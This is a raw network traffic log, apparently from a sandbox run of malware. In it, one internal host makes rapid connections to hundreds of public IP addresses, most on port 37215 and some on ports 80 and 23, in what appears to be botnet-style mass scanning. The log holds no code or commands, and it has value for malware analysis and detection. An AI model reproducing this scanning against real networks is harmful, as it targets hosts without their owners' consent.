Dec 3, 2024 22:16:51.656019926 CET	37707	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:51.656033039 CET	80	37707	191.228.77.210	192.168.2.23
Dec 3, 2024 22:16:51.656042099 CET	37707	80	192.168.2.23	174.180.202.76
Dec 3, 2024 22:16:51.656071901 CET	37707	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:51.658309937 CET	80	33488	125.111.75.105	192.168.2.23
Dec 3, 2024 22:16:51.658953905 CET	80	40276	8.43.2.155	192.168.2.23
Dec 3, 2024 22:16:51.659638882 CET	80	40814	8.43.2.155	192.168.2.23
Dec 3, 2024 22:16:51.659689903 CET	40814	80	192.168.2.23	8.43.2.155
Dec 3, 2024 22:16:51.659734011 CET	80	44830	23.93.194.133	192.168.2.23
Dec 3, 2024 22:16:51.659734964 CET	40814	80	192.168.2.23	8.43.2.155
Dec 3, 2024 22:16:51.660098076 CET	53464	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.660408974 CET	80	60176	99.212.18.166	192.168.2.23
Dec 3, 2024 22:16:51.660701036 CET	49884	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.661000013 CET	80	34482	64.69.46.207	192.168.2.23
Dec 3, 2024 22:16:51.661248922 CET	51268	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.661607027 CET	80	37176	1.252.247.68	192.168.2.23
Dec 3, 2024 22:16:51.661797047 CET	47024	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.662161112 CET	80	34760	210.36.162.136	192.168.2.23
Dec 3, 2024 22:16:51.662935019 CET	48538	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.663492918 CET	55198	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.664042950 CET	44828	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.664608955 CET	55962	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.665159941 CET	41832	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:51.665687084 CET	42170	80	192.168.2.23	39.158.171.31
Dec 3, 2024 22:16:51.666239977 CET	42644	80	192.168.2.23	98.62.217.116
Dec 3, 2024 22:16:51.666781902 CET	59220	80	192.168.2.23	40.210.155.2
Dec 3, 2024 22:16:51.667326927 CET	38588	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.667876959 CET	48930	80	192.168.2.23	206.227.56.7
Dec 3, 2024 22:16:51.668404102 CET	38914	80	192.168.2.23	186.113.80.73
Dec 3, 2024 22:16:51.668973923 CET	33902	80	192.168.2.23	223.121.225.70
Dec 3, 2024 22:16:51.669533014 CET	46344	80	192.168.2.23	121.148.192.123
Dec 3, 2024 22:16:51.670068979 CET	48090	80	192.168.2.23	104.124.112.193
Dec 3, 2024 22:16:51.670623064 CET	37382	80	192.168.2.23	218.52.101.220
Dec 3, 2024 22:16:51.670711994 CET	23	37963	12.68.7.59	192.168.2.23
Dec 3, 2024 22:16:51.670758009 CET	37963	23	192.168.2.23	12.68.7.59
Dec 3, 2024 22:16:51.671159983 CET	56516	80	192.168.2.23	143.144.238.248
Dec 3, 2024 22:16:51.671699047 CET	54174	80	192.168.2.23	120.198.118.153
Dec 3, 2024 22:16:51.672235966 CET	38290	80	192.168.2.23	207.6.169.4
Dec 3, 2024 22:16:51.672784090 CET	42868	80	192.168.2.23	183.28.92.158
Dec 3, 2024 22:16:51.673330069 CET	45688	80	192.168.2.23	64.59.135.200
Dec 3, 2024 22:16:51.673870087 CET	37734	80	192.168.2.23	150.244.142.161
Dec 3, 2024 22:16:51.674429893 CET	46822	80	192.168.2.23	79.199.171.78
Dec 3, 2024 22:16:51.674961090 CET	46786	80	192.168.2.23	39.44.135.78
Dec 3, 2024 22:16:51.675600052 CET	33080	80	192.168.2.23	121.253.73.189
Dec 3, 2024 22:16:51.675734997 CET	37451	37215	192.168.2.23	41.84.254.162
Dec 3, 2024 22:16:51.675743103 CET	37451	37215	192.168.2.23	156.142.109.78
Dec 3, 2024 22:16:51.675743103 CET	37451	37215	192.168.2.23	41.151.86.165
Dec 3, 2024 22:16:51.675749063 CET	37451	37215	192.168.2.23	156.56.152.12
Dec 3, 2024 22:16:51.675762892 CET	37451	37215	192.168.2.23	41.103.17.48
Dec 3, 2024 22:16:51.675762892 CET	37451	37215	192.168.2.23	197.176.2.240
Dec 3, 2024 22:16:51.675767899 CET	37451	37215	192.168.2.23	41.90.22.148
Dec 3, 2024 22:16:51.675774097 CET	37451	37215	192.168.2.23	41.34.145.137
Dec 3, 2024 22:16:51.675791979 CET	37451	37215	192.168.2.23	197.204.139.147
Dec 3, 2024 22:16:51.675791979 CET	37451	37215	192.168.2.23	156.157.199.166
Dec 3, 2024 22:16:51.675792933 CET	37451	37215	192.168.2.23	156.189.148.74
Dec 3, 2024 22:16:51.675796032 CET	37451	37215	192.168.2.23	156.21.193.153
Dec 3, 2024 22:16:51.675801992 CET	37451	37215	192.168.2.23	156.182.167.241
Dec 3, 2024 22:16:51.675802946 CET	37451	37215	192.168.2.23	156.138.157.214
Dec 3, 2024 22:16:51.675802946 CET	37451	37215	192.168.2.23	156.178.180.246
Dec 3, 2024 22:16:51.675806046 CET	37451	37215	192.168.2.23	41.237.164.25
Dec 3, 2024 22:16:51.675808907 CET	37451	37215	192.168.2.23	156.209.21.75
Dec 3, 2024 22:16:51.675822020 CET	37451	37215	192.168.2.23	41.152.148.146
Dec 3, 2024 22:16:51.675827026 CET	37451	37215	192.168.2.23	156.207.178.195
Dec 3, 2024 22:16:51.675838947 CET	37451	37215	192.168.2.23	197.23.103.51
Dec 3, 2024 22:16:51.675839901 CET	37451	37215	192.168.2.23	197.3.123.48
Dec 3, 2024 22:16:51.675842047 CET	37451	37215	192.168.2.23	197.249.162.9
Dec 3, 2024 22:16:51.675842047 CET	37451	37215	192.168.2.23	197.159.10.82
Dec 3, 2024 22:16:51.675843000 CET	37451	37215	192.168.2.23	197.97.147.35
Dec 3, 2024 22:16:51.675843000 CET	37451	37215	192.168.2.23	156.125.245.216
Dec 3, 2024 22:16:51.675843000 CET	37451	37215	192.168.2.23	156.103.180.142
Dec 3, 2024 22:16:51.675856113 CET	37451	37215	192.168.2.23	41.144.201.242
Dec 3, 2024 22:16:51.675858974 CET	37451	37215	192.168.2.23	197.101.229.2
Dec 3, 2024 22:16:51.675860882 CET	37451	37215	192.168.2.23	156.39.125.37
Dec 3, 2024 22:16:51.675863028 CET	37451	37215	192.168.2.23	156.166.100.122
Dec 3, 2024 22:16:51.675863028 CET	37451	37215	192.168.2.23	41.201.230.132
Dec 3, 2024 22:16:51.675863028 CET	37451	37215	192.168.2.23	156.135.59.153
Dec 3, 2024 22:16:51.675863028 CET	37451	37215	192.168.2.23	197.156.234.159
Dec 3, 2024 22:16:51.675863028 CET	37451	37215	192.168.2.23	156.96.5.225
Dec 3, 2024 22:16:51.675879955 CET	37451	37215	192.168.2.23	41.86.109.78
Dec 3, 2024 22:16:51.675879955 CET	37451	37215	192.168.2.23	197.53.247.20
Dec 3, 2024 22:16:51.675879955 CET	37451	37215	192.168.2.23	197.189.14.110
Dec 3, 2024 22:16:51.675879955 CET	37451	37215	192.168.2.23	197.249.91.65
Dec 3, 2024 22:16:51.675880909 CET	37451	37215	192.168.2.23	41.255.66.43
Dec 3, 2024 22:16:51.675882101 CET	37451	37215	192.168.2.23	41.82.110.0
Dec 3, 2024 22:16:51.675882101 CET	37451	37215	192.168.2.23	156.196.187.82
Dec 3, 2024 22:16:51.675888062 CET	37451	37215	192.168.2.23	197.50.170.222
Dec 3, 2024 22:16:51.675889015 CET	37451	37215	192.168.2.23	41.96.197.8
Dec 3, 2024 22:16:51.675889015 CET	37451	37215	192.168.2.23	197.47.183.3
Dec 3, 2024 22:16:51.675892115 CET	37451	37215	192.168.2.23	197.205.102.235
Dec 3, 2024 22:16:51.675892115 CET	37451	37215	192.168.2.23	197.73.225.79
Dec 3, 2024 22:16:51.675895929 CET	37451	37215	192.168.2.23	197.231.81.99
Dec 3, 2024 22:16:51.675895929 CET	37451	37215	192.168.2.23	197.146.65.6
Dec 3, 2024 22:16:51.675895929 CET	37451	37215	192.168.2.23	41.187.99.3
Dec 3, 2024 22:16:51.675915956 CET	37451	37215	192.168.2.23	156.207.89.151
Dec 3, 2024 22:16:51.675915956 CET	37451	37215	192.168.2.23	156.26.29.221
Dec 3, 2024 22:16:51.675919056 CET	37451	37215	192.168.2.23	197.84.33.213
Dec 3, 2024 22:16:51.675919056 CET	37451	37215	192.168.2.23	41.99.7.68
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	197.244.239.129
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	197.33.4.11
Dec 3, 2024 22:16:51.675920963 CET	37451	37215	192.168.2.23	156.133.55.162
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	41.27.63.71
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	197.58.237.73
Dec 3, 2024 22:16:51.675920963 CET	37451	37215	192.168.2.23	197.218.105.223
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	156.245.2.142
Dec 3, 2024 22:16:51.675920010 CET	37451	37215	192.168.2.23	41.99.221.175
Dec 3, 2024 22:16:51.675924063 CET	37451	37215	192.168.2.23	197.205.136.125
Dec 3, 2024 22:16:51.675924063 CET	37451	37215	192.168.2.23	41.124.181.228
Dec 3, 2024 22:16:51.675924063 CET	37451	37215	192.168.2.23	156.32.10.59
Dec 3, 2024 22:16:51.675936937 CET	37451	37215	192.168.2.23	197.157.35.127
Dec 3, 2024 22:16:51.675936937 CET	37451	37215	192.168.2.23	156.175.101.106
Dec 3, 2024 22:16:51.675936937 CET	37451	37215	192.168.2.23	156.194.154.173
Dec 3, 2024 22:16:51.675936937 CET	37451	37215	192.168.2.23	197.251.180.156
Dec 3, 2024 22:16:51.675941944 CET	37451	37215	192.168.2.23	197.137.18.34
Dec 3, 2024 22:16:51.675941944 CET	37451	37215	192.168.2.23	156.248.22.162
Dec 3, 2024 22:16:51.675941944 CET	37451	37215	192.168.2.23	156.205.132.177
Dec 3, 2024 22:16:51.675942898 CET	37451	37215	192.168.2.23	41.172.125.128
Dec 3, 2024 22:16:51.675942898 CET	37451	37215	192.168.2.23	41.225.208.0
Dec 3, 2024 22:16:51.675944090 CET	37451	37215	192.168.2.23	41.23.65.230
Dec 3, 2024 22:16:51.675944090 CET	37451	37215	192.168.2.23	41.120.38.42
Dec 3, 2024 22:16:51.675944090 CET	37451	37215	192.168.2.23	41.135.192.54
Dec 3, 2024 22:16:51.675945997 CET	37451	37215	192.168.2.23	41.21.65.209
Dec 3, 2024 22:16:51.675945997 CET	37451	37215	192.168.2.23	197.115.114.143
Dec 3, 2024 22:16:51.675945997 CET	37451	37215	192.168.2.23	197.119.45.107
Dec 3, 2024 22:16:51.675952911 CET	37451	37215	192.168.2.23	156.113.103.143
Dec 3, 2024 22:16:51.675956011 CET	37451	37215	192.168.2.23	156.251.147.234
Dec 3, 2024 22:16:51.675956964 CET	37451	37215	192.168.2.23	197.252.232.73
Dec 3, 2024 22:16:51.675956964 CET	37451	37215	192.168.2.23	41.115.193.174
Dec 3, 2024 22:16:51.675959110 CET	37451	37215	192.168.2.23	41.213.53.223
Dec 3, 2024 22:16:51.675959110 CET	37451	37215	192.168.2.23	156.242.236.104
Dec 3, 2024 22:16:51.675961971 CET	37451	37215	192.168.2.23	197.10.67.172
Dec 3, 2024 22:16:51.675961971 CET	37451	37215	192.168.2.23	41.156.240.200
Dec 3, 2024 22:16:51.675961971 CET	37451	37215	192.168.2.23	41.225.17.104
Dec 3, 2024 22:16:51.675961971 CET	37451	37215	192.168.2.23	197.89.128.217
Dec 3, 2024 22:16:51.675962925 CET	37451	37215	192.168.2.23	41.81.38.217
Dec 3, 2024 22:16:51.675960064 CET	37451	37215	192.168.2.23	197.240.46.80
Dec 3, 2024 22:16:51.675960064 CET	37451	37215	192.168.2.23	156.165.70.170
Dec 3, 2024 22:16:51.675967932 CET	37451	37215	192.168.2.23	156.33.39.194
Dec 3, 2024 22:16:51.675968885 CET	37451	37215	192.168.2.23	156.178.146.153
Dec 3, 2024 22:16:51.675968885 CET	37451	37215	192.168.2.23	41.81.214.133
Dec 3, 2024 22:16:51.675988913 CET	37451	37215	192.168.2.23	197.28.127.27
Dec 3, 2024 22:16:51.675988913 CET	37451	37215	192.168.2.23	197.10.230.85
Dec 3, 2024 22:16:51.675992966 CET	37451	37215	192.168.2.23	156.29.235.114
Dec 3, 2024 22:16:51.675995111 CET	37451	37215	192.168.2.23	197.227.245.55
Dec 3, 2024 22:16:51.675996065 CET	37451	37215	192.168.2.23	156.131.110.72
Dec 3, 2024 22:16:51.676019907 CET	37451	37215	192.168.2.23	156.3.65.156
Dec 3, 2024 22:16:51.676019907 CET	37451	37215	192.168.2.23	156.17.161.45
Dec 3, 2024 22:16:51.676023960 CET	37451	37215	192.168.2.23	197.211.212.251
Dec 3, 2024 22:16:51.676028013 CET	37451	37215	192.168.2.23	197.3.227.243
Dec 3, 2024 22:16:51.676031113 CET	37451	37215	192.168.2.23	197.74.46.78
Dec 3, 2024 22:16:51.676031113 CET	37451	37215	192.168.2.23	156.112.121.155
Dec 3, 2024 22:16:51.676031113 CET	37451	37215	192.168.2.23	156.81.122.183
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	197.158.82.104
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	197.169.251.134
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	197.46.229.250
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	156.84.130.20
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	156.145.164.114
Dec 3, 2024 22:16:51.676038980 CET	37451	37215	192.168.2.23	156.144.213.34
Dec 3, 2024 22:16:51.676044941 CET	37451	37215	192.168.2.23	197.12.8.186
Dec 3, 2024 22:16:51.676044941 CET	37451	37215	192.168.2.23	197.36.86.101
Dec 3, 2024 22:16:51.676044941 CET	37451	37215	192.168.2.23	197.20.192.93
Dec 3, 2024 22:16:51.676048994 CET	37451	37215	192.168.2.23	197.90.34.145
Dec 3, 2024 22:16:51.676048994 CET	37451	37215	192.168.2.23	197.5.234.117
Dec 3, 2024 22:16:51.676057100 CET	37451	37215	192.168.2.23	197.92.246.56
Dec 3, 2024 22:16:51.676067114 CET	37451	37215	192.168.2.23	156.45.1.196
Dec 3, 2024 22:16:51.676068068 CET	37451	37215	192.168.2.23	156.42.192.54
Dec 3, 2024 22:16:51.676070929 CET	37451	37215	192.168.2.23	197.6.117.179
Dec 3, 2024 22:16:51.676070929 CET	37451	37215	192.168.2.23	197.120.92.35
Dec 3, 2024 22:16:51.676071882 CET	37451	37215	192.168.2.23	41.24.197.45
Dec 3, 2024 22:16:51.676071882 CET	37451	37215	192.168.2.23	156.134.221.92
Dec 3, 2024 22:16:51.676073074 CET	37451	37215	192.168.2.23	41.207.252.213
Dec 3, 2024 22:16:51.676073074 CET	37451	37215	192.168.2.23	156.68.213.137
Dec 3, 2024 22:16:51.676073074 CET	37451	37215	192.168.2.23	41.213.147.48
Dec 3, 2024 22:16:51.676073074 CET	37451	37215	192.168.2.23	197.79.59.204
Dec 3, 2024 22:16:51.676074982 CET	37451	37215	192.168.2.23	41.69.145.164
Dec 3, 2024 22:16:51.676074982 CET	37451	37215	192.168.2.23	41.219.223.182
Dec 3, 2024 22:16:51.676089048 CET	37451	37215	192.168.2.23	156.18.103.144
Dec 3, 2024 22:16:51.676089048 CET	37451	37215	192.168.2.23	41.240.88.6
Dec 3, 2024 22:16:51.676090956 CET	37451	37215	192.168.2.23	41.46.242.188
Dec 3, 2024 22:16:51.676091909 CET	37451	37215	192.168.2.23	41.95.29.78
Dec 3, 2024 22:16:51.676091909 CET	37451	37215	192.168.2.23	41.77.94.4
Dec 3, 2024 22:16:51.676091909 CET	37451	37215	192.168.2.23	197.251.206.74
Dec 3, 2024 22:16:51.676098108 CET	37451	37215	192.168.2.23	197.50.220.180
Dec 3, 2024 22:16:51.676100969 CET	37451	37215	192.168.2.23	156.25.80.145
Dec 3, 2024 22:16:51.676101923 CET	37451	37215	192.168.2.23	41.87.41.192
Dec 3, 2024 22:16:51.676103115 CET	37451	37215	192.168.2.23	197.65.40.177
Dec 3, 2024 22:16:51.676105022 CET	37451	37215	192.168.2.23	197.47.233.161
Dec 3, 2024 22:16:51.676115990 CET	37451	37215	192.168.2.23	156.214.198.240
Dec 3, 2024 22:16:51.676115990 CET	37451	37215	192.168.2.23	156.191.72.235
Dec 3, 2024 22:16:51.676115990 CET	37451	37215	192.168.2.23	197.238.230.255
Dec 3, 2024 22:16:51.676116943 CET	37451	37215	192.168.2.23	41.113.198.68
Dec 3, 2024 22:16:51.676116943 CET	37451	37215	192.168.2.23	41.213.182.209
Dec 3, 2024 22:16:51.676119089 CET	37451	37215	192.168.2.23	156.11.150.80
Dec 3, 2024 22:16:51.676119089 CET	37451	37215	192.168.2.23	41.37.225.235
Dec 3, 2024 22:16:51.676119089 CET	37451	37215	192.168.2.23	41.5.179.94
Dec 3, 2024 22:16:51.676120996 CET	37451	37215	192.168.2.23	197.113.151.169
Dec 3, 2024 22:16:51.676121950 CET	37451	37215	192.168.2.23	41.46.204.119
Dec 3, 2024 22:16:51.676121950 CET	37451	37215	192.168.2.23	197.143.67.229
Dec 3, 2024 22:16:51.676121950 CET	37451	37215	192.168.2.23	156.254.151.176
Dec 3, 2024 22:16:51.676121950 CET	37451	37215	192.168.2.23	41.68.43.35
Dec 3, 2024 22:16:51.676129103 CET	37451	37215	192.168.2.23	41.240.6.103
Dec 3, 2024 22:16:51.676131010 CET	37451	37215	192.168.2.23	197.102.82.152
Dec 3, 2024 22:16:51.676131964 CET	37451	37215	192.168.2.23	41.49.122.253
Dec 3, 2024 22:16:51.676131010 CET	37451	37215	192.168.2.23	41.217.146.15
Dec 3, 2024 22:16:51.676134109 CET	37451	37215	192.168.2.23	156.159.103.237
Dec 3, 2024 22:16:51.676131964 CET	37451	37215	192.168.2.23	156.49.188.127
Dec 3, 2024 22:16:51.676141024 CET	37451	37215	192.168.2.23	197.255.10.149
Dec 3, 2024 22:16:51.676141024 CET	37451	37215	192.168.2.23	197.197.74.130
Dec 3, 2024 22:16:51.676141024 CET	37451	37215	192.168.2.23	197.108.23.76
Dec 3, 2024 22:16:51.676141977 CET	37451	37215	192.168.2.23	156.212.79.17
Dec 3, 2024 22:16:51.676141024 CET	37451	37215	192.168.2.23	197.30.12.213
Dec 3, 2024 22:16:51.676142931 CET	37451	37215	192.168.2.23	41.176.7.12
Dec 3, 2024 22:16:51.676142931 CET	37451	37215	192.168.2.23	41.113.113.39
Dec 3, 2024 22:16:51.676155090 CET	37451	37215	192.168.2.23	41.46.159.8
Dec 3, 2024 22:16:51.676155090 CET	37451	37215	192.168.2.23	156.40.183.147
Dec 3, 2024 22:16:51.676155090 CET	37451	37215	192.168.2.23	197.109.160.163
Dec 3, 2024 22:16:51.676155090 CET	37451	37215	192.168.2.23	41.4.134.232
Dec 3, 2024 22:16:51.676155090 CET	37451	37215	192.168.2.23	156.208.151.79
Dec 3, 2024 22:16:51.676171064 CET	37451	37215	192.168.2.23	41.174.179.103
Dec 3, 2024 22:16:51.676173925 CET	37451	37215	192.168.2.23	156.226.40.234
Dec 3, 2024 22:16:51.676178932 CET	37451	37215	192.168.2.23	41.16.82.55
Dec 3, 2024 22:16:51.676182032 CET	37451	37215	192.168.2.23	156.81.198.251
Dec 3, 2024 22:16:51.676182032 CET	37451	37215	192.168.2.23	41.220.31.75
Dec 3, 2024 22:16:51.676182032 CET	37451	37215	192.168.2.23	156.224.198.64
Dec 3, 2024 22:16:51.676186085 CET	37451	37215	192.168.2.23	41.58.215.201
Dec 3, 2024 22:16:51.676188946 CET	37451	37215	192.168.2.23	41.223.153.181
Dec 3, 2024 22:16:51.676189899 CET	37451	37215	192.168.2.23	156.193.82.48
Dec 3, 2024 22:16:51.676192999 CET	37451	37215	192.168.2.23	156.231.30.182
Dec 3, 2024 22:16:51.676198959 CET	37451	37215	192.168.2.23	197.104.70.104
Dec 3, 2024 22:16:51.676198959 CET	37451	37215	192.168.2.23	156.249.161.82
Dec 3, 2024 22:16:51.676211119 CET	37451	37215	192.168.2.23	197.3.176.181
Dec 3, 2024 22:16:51.676215887 CET	37451	37215	192.168.2.23	41.243.27.186
Dec 3, 2024 22:16:51.676215887 CET	37451	37215	192.168.2.23	41.41.18.188
Dec 3, 2024 22:16:51.676218987 CET	37451	37215	192.168.2.23	41.232.245.107
Dec 3, 2024 22:16:51.676219940 CET	37451	37215	192.168.2.23	197.176.94.135
Dec 3, 2024 22:16:51.676225901 CET	37451	37215	192.168.2.23	197.59.162.73
Dec 3, 2024 22:16:51.676239967 CET	37451	37215	192.168.2.23	41.23.215.31
Dec 3, 2024 22:16:51.676245928 CET	37451	37215	192.168.2.23	156.243.110.80
Dec 3, 2024 22:16:51.676245928 CET	37451	37215	192.168.2.23	156.197.136.60
Dec 3, 2024 22:16:51.676245928 CET	37451	37215	192.168.2.23	197.38.177.112
Dec 3, 2024 22:16:51.676265955 CET	37451	37215	192.168.2.23	156.141.199.155
Dec 3, 2024 22:16:51.676270962 CET	37451	37215	192.168.2.23	197.133.155.20
Dec 3, 2024 22:16:51.676271915 CET	37451	37215	192.168.2.23	197.53.123.214
Dec 3, 2024 22:16:51.676271915 CET	37451	37215	192.168.2.23	197.160.53.171
Dec 3, 2024 22:16:51.676273108 CET	37451	37215	192.168.2.23	156.170.68.199
Dec 3, 2024 22:16:51.676273108 CET	37451	37215	192.168.2.23	197.210.189.172
Dec 3, 2024 22:16:51.676273108 CET	54954	80	192.168.2.23	78.142.26.92
Dec 3, 2024 22:16:51.676275015 CET	37451	37215	192.168.2.23	41.217.252.82
Dec 3, 2024 22:16:51.676275015 CET	37451	37215	192.168.2.23	197.95.131.65
Dec 3, 2024 22:16:51.676278114 CET	37451	37215	192.168.2.23	197.77.117.55
Dec 3, 2024 22:16:51.676278114 CET	37451	37215	192.168.2.23	156.43.54.73
Dec 3, 2024 22:16:51.676287889 CET	37451	37215	192.168.2.23	41.46.73.42
Dec 3, 2024 22:16:51.676300049 CET	37451	37215	192.168.2.23	197.179.101.214
Dec 3, 2024 22:16:51.676305056 CET	37451	37215	192.168.2.23	197.7.49.68
Dec 3, 2024 22:16:51.676305056 CET	37451	37215	192.168.2.23	197.28.143.231
Dec 3, 2024 22:16:51.676306963 CET	37451	37215	192.168.2.23	197.230.179.46
Dec 3, 2024 22:16:51.676305056 CET	37451	37215	192.168.2.23	41.118.177.180
Dec 3, 2024 22:16:51.676315069 CET	37451	37215	192.168.2.23	156.97.154.142
Dec 3, 2024 22:16:51.676320076 CET	37451	37215	192.168.2.23	41.106.76.131
Dec 3, 2024 22:16:51.676320076 CET	37451	37215	192.168.2.23	156.108.168.148
Dec 3, 2024 22:16:51.676321983 CET	37451	37215	192.168.2.23	197.8.208.107
Dec 3, 2024 22:16:51.676323891 CET	37451	37215	192.168.2.23	41.79.9.181
Dec 3, 2024 22:16:51.676323891 CET	37451	37215	192.168.2.23	156.53.47.94
Dec 3, 2024 22:16:51.676327944 CET	37451	37215	192.168.2.23	41.176.20.146
Dec 3, 2024 22:16:51.676330090 CET	37451	37215	192.168.2.23	197.10.222.139
Dec 3, 2024 22:16:51.676347017 CET	37451	37215	192.168.2.23	197.166.10.99
Dec 3, 2024 22:16:51.676348925 CET	37451	37215	192.168.2.23	197.185.204.252
Dec 3, 2024 22:16:51.676356077 CET	37451	37215	192.168.2.23	156.230.109.167
Dec 3, 2024 22:16:51.676373959 CET	37451	37215	192.168.2.23	41.226.43.31
Dec 3, 2024 22:16:51.676378965 CET	37451	37215	192.168.2.23	41.104.232.148
Dec 3, 2024 22:16:51.676384926 CET	37451	37215	192.168.2.23	197.136.99.69
Dec 3, 2024 22:16:51.676387072 CET	37451	37215	192.168.2.23	156.90.80.10
Dec 3, 2024 22:16:51.676387072 CET	37451	37215	192.168.2.23	156.59.63.141
Dec 3, 2024 22:16:51.676394939 CET	37451	37215	192.168.2.23	156.237.108.244
Dec 3, 2024 22:16:51.676394939 CET	37451	37215	192.168.2.23	156.198.26.92
Dec 3, 2024 22:16:51.676408052 CET	37451	37215	192.168.2.23	41.222.110.27
Dec 3, 2024 22:16:51.676414013 CET	37451	37215	192.168.2.23	197.107.223.45
Dec 3, 2024 22:16:51.676420927 CET	37451	37215	192.168.2.23	41.181.114.114
Dec 3, 2024 22:16:51.676420927 CET	37451	37215	192.168.2.23	197.182.252.192
Dec 3, 2024 22:16:51.676422119 CET	37451	37215	192.168.2.23	156.64.161.26
Dec 3, 2024 22:16:51.676425934 CET	37451	37215	192.168.2.23	156.190.109.122
Dec 3, 2024 22:16:51.676424026 CET	37451	37215	192.168.2.23	41.162.109.9
Dec 3, 2024 22:16:51.676424026 CET	37451	37215	192.168.2.23	156.69.220.115
Dec 3, 2024 22:16:51.676431894 CET	37451	37215	192.168.2.23	41.117.227.181
Dec 3, 2024 22:16:51.676433086 CET	37451	37215	192.168.2.23	197.8.80.170
Dec 3, 2024 22:16:51.676434040 CET	37451	37215	192.168.2.23	41.129.232.19
Dec 3, 2024 22:16:51.676440954 CET	37451	37215	192.168.2.23	197.7.159.235
Dec 3, 2024 22:16:51.676440954 CET	37451	37215	192.168.2.23	41.110.154.99
Dec 3, 2024 22:16:51.676440954 CET	37451	37215	192.168.2.23	197.80.236.152
Dec 3, 2024 22:16:51.676457882 CET	37451	37215	192.168.2.23	156.95.151.159
Dec 3, 2024 22:16:51.676457882 CET	37451	37215	192.168.2.23	197.229.26.143
Dec 3, 2024 22:16:51.676465988 CET	37451	37215	192.168.2.23	197.41.255.2
Dec 3, 2024 22:16:51.676467896 CET	37451	37215	192.168.2.23	197.176.39.50
Dec 3, 2024 22:16:51.676474094 CET	37451	37215	192.168.2.23	41.192.198.0
Dec 3, 2024 22:16:51.676479101 CET	37451	37215	192.168.2.23	156.44.29.224
Dec 3, 2024 22:16:51.676481962 CET	37451	37215	192.168.2.23	197.25.33.133
Dec 3, 2024 22:16:51.676479101 CET	37451	37215	192.168.2.23	41.69.225.26
Dec 3, 2024 22:16:51.676489115 CET	37451	37215	192.168.2.23	41.165.8.176
Dec 3, 2024 22:16:51.676491022 CET	37451	37215	192.168.2.23	156.154.52.87
Dec 3, 2024 22:16:51.676491022 CET	37451	37215	192.168.2.23	156.51.235.25
Dec 3, 2024 22:16:51.676497936 CET	37451	37215	192.168.2.23	197.184.156.213
Dec 3, 2024 22:16:51.676498890 CET	37451	37215	192.168.2.23	197.90.191.156
Dec 3, 2024 22:16:51.676518917 CET	37451	37215	192.168.2.23	41.253.7.10
Dec 3, 2024 22:16:51.676518917 CET	37451	37215	192.168.2.23	41.150.253.79
Dec 3, 2024 22:16:51.676518917 CET	37451	37215	192.168.2.23	41.130.133.6
Dec 3, 2024 22:16:51.676522017 CET	37451	37215	192.168.2.23	156.85.181.150
Dec 3, 2024 22:16:51.676522017 CET	37451	37215	192.168.2.23	197.85.184.245
Dec 3, 2024 22:16:51.676523924 CET	37451	37215	192.168.2.23	197.106.23.225
Dec 3, 2024 22:16:51.676534891 CET	37451	37215	192.168.2.23	156.99.19.226
Dec 3, 2024 22:16:51.676536083 CET	37451	37215	192.168.2.23	197.254.160.120
Dec 3, 2024 22:16:51.676536083 CET	37451	37215	192.168.2.23	156.182.221.57
Dec 3, 2024 22:16:51.676536083 CET	37451	37215	192.168.2.23	41.250.245.96
Dec 3, 2024 22:16:51.676554918 CET	37451	37215	192.168.2.23	41.111.174.19
Dec 3, 2024 22:16:51.676554918 CET	37451	37215	192.168.2.23	197.211.217.248
Dec 3, 2024 22:16:51.676553965 CET	37451	37215	192.168.2.23	197.162.103.119
Dec 3, 2024 22:16:51.676554918 CET	37451	37215	192.168.2.23	41.74.102.1
Dec 3, 2024 22:16:51.676558971 CET	37451	37215	192.168.2.23	156.187.153.76
Dec 3, 2024 22:16:51.676563025 CET	37451	37215	192.168.2.23	156.232.16.172
Dec 3, 2024 22:16:51.676563978 CET	37451	37215	192.168.2.23	156.58.171.87
Dec 3, 2024 22:16:51.676565886 CET	37451	37215	192.168.2.23	156.194.25.252
Dec 3, 2024 22:16:51.676575899 CET	37451	37215	192.168.2.23	41.79.62.6
Dec 3, 2024 22:16:51.676587105 CET	37451	37215	192.168.2.23	197.124.68.187
Dec 3, 2024 22:16:51.676587105 CET	37451	37215	192.168.2.23	197.86.156.59
Dec 3, 2024 22:16:51.676598072 CET	37451	37215	192.168.2.23	197.239.193.222
Dec 3, 2024 22:16:51.676599026 CET	37451	37215	192.168.2.23	41.136.59.188
Dec 3, 2024 22:16:51.676600933 CET	37451	37215	192.168.2.23	156.180.177.88
Dec 3, 2024 22:16:51.676606894 CET	37451	37215	192.168.2.23	156.144.200.135
Dec 3, 2024 22:16:51.676606894 CET	37451	37215	192.168.2.23	197.82.161.242
Dec 3, 2024 22:16:51.676615000 CET	37451	37215	192.168.2.23	41.2.205.63
Dec 3, 2024 22:16:51.676620960 CET	37451	37215	192.168.2.23	41.154.230.27
Dec 3, 2024 22:16:51.676623106 CET	37451	37215	192.168.2.23	197.50.210.160
Dec 3, 2024 22:16:51.676623106 CET	37451	37215	192.168.2.23	156.139.59.179
Dec 3, 2024 22:16:51.676637888 CET	37451	37215	192.168.2.23	156.152.21.177
Dec 3, 2024 22:16:51.676639080 CET	37451	37215	192.168.2.23	156.227.14.55
Dec 3, 2024 22:16:51.676639080 CET	37451	37215	192.168.2.23	156.21.77.150
